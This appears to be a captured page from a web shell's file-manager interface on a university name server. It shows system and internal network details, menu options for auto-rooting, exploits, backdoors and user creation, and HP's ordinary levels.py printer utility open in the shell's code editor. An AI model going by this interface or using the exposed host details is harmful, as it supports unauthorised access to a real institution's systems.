Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
hplip /
[ HOME SHELL ]
Name
Size
Permission
Action
base
[ DIR ]
drwxr-xr-x
copier
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
fax
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
pcard
[ DIR ]
drwxr-xr-x
prnt
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxrwxr-x
scan
[ DIR ]
drwxr-xr-x
ui5
[ DIR ]
drwxr-xr-x
align.py
9.14
KB
-rwxr-xr-x
check-plugin.py
9.8
KB
-rwxr-xr-x
check.py
39.2
KB
-rwxr-xr-x
clean.py
7.05
KB
-rwxr-xr-x
colorcal.py
9.08
KB
-rwxr-xr-x
config_usb_printer.py
6.98
KB
-rwxr-xr-x
devicesettings.py
2.68
KB
-rwxr-xr-x
diagnose_plugin.py
3.77
KB
-rwxr-xr-x
diagnose_queues.py
3.65
KB
-rwxr-xr-x
doctor.py
12.69
KB
-rwxr-xr-x
fab.py
24.38
KB
-rwxr-xr-x
faxsetup.py
2.56
KB
-rwxr-xr-x
firmware.py
6.47
KB
-rwxr-xr-x
hpdio.py
7.04
KB
-rwxr-xr-x
hplip_clean.sh
1.81
KB
-rw-r--r--
hpssd.py
20.37
KB
-rwxr-xr-x
info.py
6.26
KB
-rwxr-xr-x
__init__.py
848
B
-rwxr-xr-x
levels.py
6.85
KB
-rwxr-xr-x
linefeedcal.py
2.53
KB
-rwxr-xr-x
logcapture.py
12.15
KB
-rwxr-xr-x
makecopies.py
11.41
KB
-rwxr-xr-x
makeuri.py
5.6
KB
-rwxr-xr-x
pkservice.py
3.13
KB
-rwxr-xr-x
plugin.py
13.62
KB
-rwxr-xr-x
pqdiag.py
2.44
KB
-rwxr-xr-x
print.py
4.23
KB
-rwxr-xr-x
printsettings.py
2.95
KB
-rwxr-xr-x
probe.py
7.98
KB
-rwxr-xr-x
query.py
4.94
KB
-rwxr-xr-x
scan.py
86.9
KB
-rwxr-xr-x
sendfax.py
21.62
KB
-rwxr-xr-x
setup.py
37.25
KB
-rwxr-xr-x
signing-key.asc
1.63
KB
-rw-r--r--
systray.py
4.95
KB
-rwxr-xr-x
testpage.py
5.98
KB
-rwxr-xr-x
timedate.py
3.31
KB
-rwxr-xr-x
toolbox.py
8.79
KB
-rwxr-xr-x
uiscan.py
2.18
KB
-rwxr-xr-x
uninstall.py
3.27
KB
-rwxr-xr-x
unload.py
24.3
KB
-rwxr-xr-x
upgrade.py
15.11
KB
-rwxr-xr-x
wificonfig.py
2.79
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : levels.py
#!/usr/bin/python3 # -*- coding: utf-8 -*- # # (c) Copyright 2003-2015 HP Development Company, L.P. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Don Welch # __version__ = '2.0' __title__ = 'Supply Levels Utility' __mod__ = 'hp-levels' __doc__ = "Display bar graphs of current supply levels for supported HPLIP printers." # Std Lib import sys import getopt import time import operator import os # Local from base.g import * from base import device, status, utils, tui, module from prnt import cups DEFAULT_BAR_GRAPH_SIZE = 8*(tui.ttysize()[1])/10 def logBarGraph(agent_level, agent_type, size=DEFAULT_BAR_GRAPH_SIZE, use_colors=True, bar_char='/'): #print agent_level, agent_type, size, use_colors, bar_char adj = 100.0/size if adj==0.0: adj=100.0 bar = int(agent_level/adj) size = int(size) if bar > (size-2): bar = size-2 if use_colors: if agent_type in (AGENT_TYPE_CMY, AGENT_TYPE_KCM, AGENT_TYPE_CYAN, AGENT_TYPE_CYAN_LOW): log.info(log.codes['teal']) elif agent_type in (AGENT_TYPE_MAGENTA, AGENT_TYPE_MAGENTA_LOW): log.info(log.codes['fuscia']) elif agent_type in (AGENT_TYPE_YELLOW, AGENT_TYPE_YELLOW_LOW): log.info(log.codes['yellow']) elif agent_type == AGENT_TYPE_BLUE: log.info(log.codes['blue']) elif agent_type in (AGENT_TYPE_BLACK, AGENT_TYPE_BLACK_B8800): log.info(log.codes['bold']) elif agent_type in (AGENT_TYPE_LG, AGENT_TYPE_G, AGENT_TYPE_PG): pass color = '' if use_colors: if agent_type in (AGENT_TYPE_CMY, AGENT_TYPE_KCM): color = log.codes['fuscia'] log.info(("-"*(size))+color) color = '' if use_colors: if agent_type in (AGENT_TYPE_CMY, AGENT_TYPE_KCM): color = log.codes['yellow'] log.info("%s%s%s%s (approx. %d%%)%s" % ("|", bar_char*bar, " "*((size)-bar-2), "|", agent_level, color)) color = '' if use_colors: color = log.codes['reset'] log.info(("-"*int(size))+color) #log.info(("-"*(size))+color) log.set_module('hp-levels') try: mod = module.Module(__mod__, __title__, __version__, __doc__, None, (INTERACTIVE_MODE,)) mod.setUsage(module.USAGE_FLAG_DEVICE_ARGS, extra_options=[ ("Bar graph size:", "-s<size> or --size=<size> (current default=%d)" % DEFAULT_BAR_GRAPH_SIZE, "option", False), ("Use colored bar graphs:", "-c or --color (default is colorized)", "option", False), ("Bar graph character:", "-a<char> or --char=<char> (default is '/')", "option", False)]) opts, device_uri, printer_name, mode, ui_toolkit, lang = \ mod.parseStdOpts('s:ca:', ['size=', 'color', 'char=']) device_uri = mod.getDeviceUri(device_uri, printer_name) if not device_uri: sys.exit(1) log.info("Using device : %s\n" % device_uri) size = DEFAULT_BAR_GRAPH_SIZE color = True bar_char = '/' for o, a in opts: if o in ('-s', '--size'): try: size = int(a.strip()) except (TypeError, ValueError): log.warn("Invalid size specified. Using the default of %d" % DEFAULT_BAR_GRAPH_SIZE) size = DEFAULT_BAR_GRAPH_SIZE if size < 1 or size > DEFAULT_BAR_GRAPH_SIZE: log.warn("Invalid size specified. Using the default of %d" % DEFAULT_BAR_GRAPH_SIZE) size = DEFAULT_BAR_GRAPH_SIZE elif o in ('-c', '--color'): color = True elif o in ('-a', '--char'): try: bar_char = a[0] except KeyError: bar_char = '/' try: d = device.Device(device_uri, printer_name) except Error: log.error("Error opening device. Exiting.") sys.exit(1) try: try: d.open() d.queryDevice() except Error as e: log.error("Error opening device (%s). Exiting." % e.msg) sys.exit(1) if d.mq['status-type'] != STATUS_TYPE_NONE: log.info("") sorted_supplies = [] a = 1 while True: try: agent_type = int(d.dq['agent%d-type' % a]) agent_kind = int(d.dq['agent%d-kind' % a]) agent_sku = d.dq['agent%d-sku' % a] log.debug("%d: agent_type %d agent_kind %d agent_sku '%s'" % (a, agent_type, agent_kind, agent_sku)) except KeyError: break else: sorted_supplies.append((a, agent_kind, agent_type, agent_sku)) a += 1 sorted_supplies.sort(key=utils.cmp_to_key(utils.levelsCmp)) for x in sorted_supplies: a, agent_kind, agent_type, agent_sku = x agent_health = d.dq['agent%d-health' % a] agent_level = d.dq['agent%d-level' % a] agent_desc = d.dq['agent%d-desc' % a] agent_health_desc = d.dq['agent%d-health-desc' % a] if agent_health in (AGENT_HEALTH_OK, AGENT_HEALTH_UNKNOWN) and \ agent_kind in (AGENT_KIND_SUPPLY, AGENT_KIND_HEAD_AND_SUPPLY, AGENT_KIND_TONER_CARTRIDGE, AGENT_KIND_MAINT_KIT, AGENT_KIND_ADF_KIT, AGENT_KIND_INT_BATTERY, AGENT_KIND_DRUM_KIT,): log.info(log.bold(agent_desc)) log.info("Part No.: %s" % agent_sku) log.info("Health: %s" % agent_health_desc) logBarGraph(agent_level, agent_type, size, color, bar_char) log.info("") else: log.info(log.bold(agent_desc)) log.info("Part No.: %s" % agent_sku) log.info("Health: %s" % agent_health_desc) log.info("") else: log.error("Status not supported for selected device.") sys.exit(1) finally: d.close() except KeyboardInterrupt: log.error("User exit") log.info("") log.info("Done.")
Close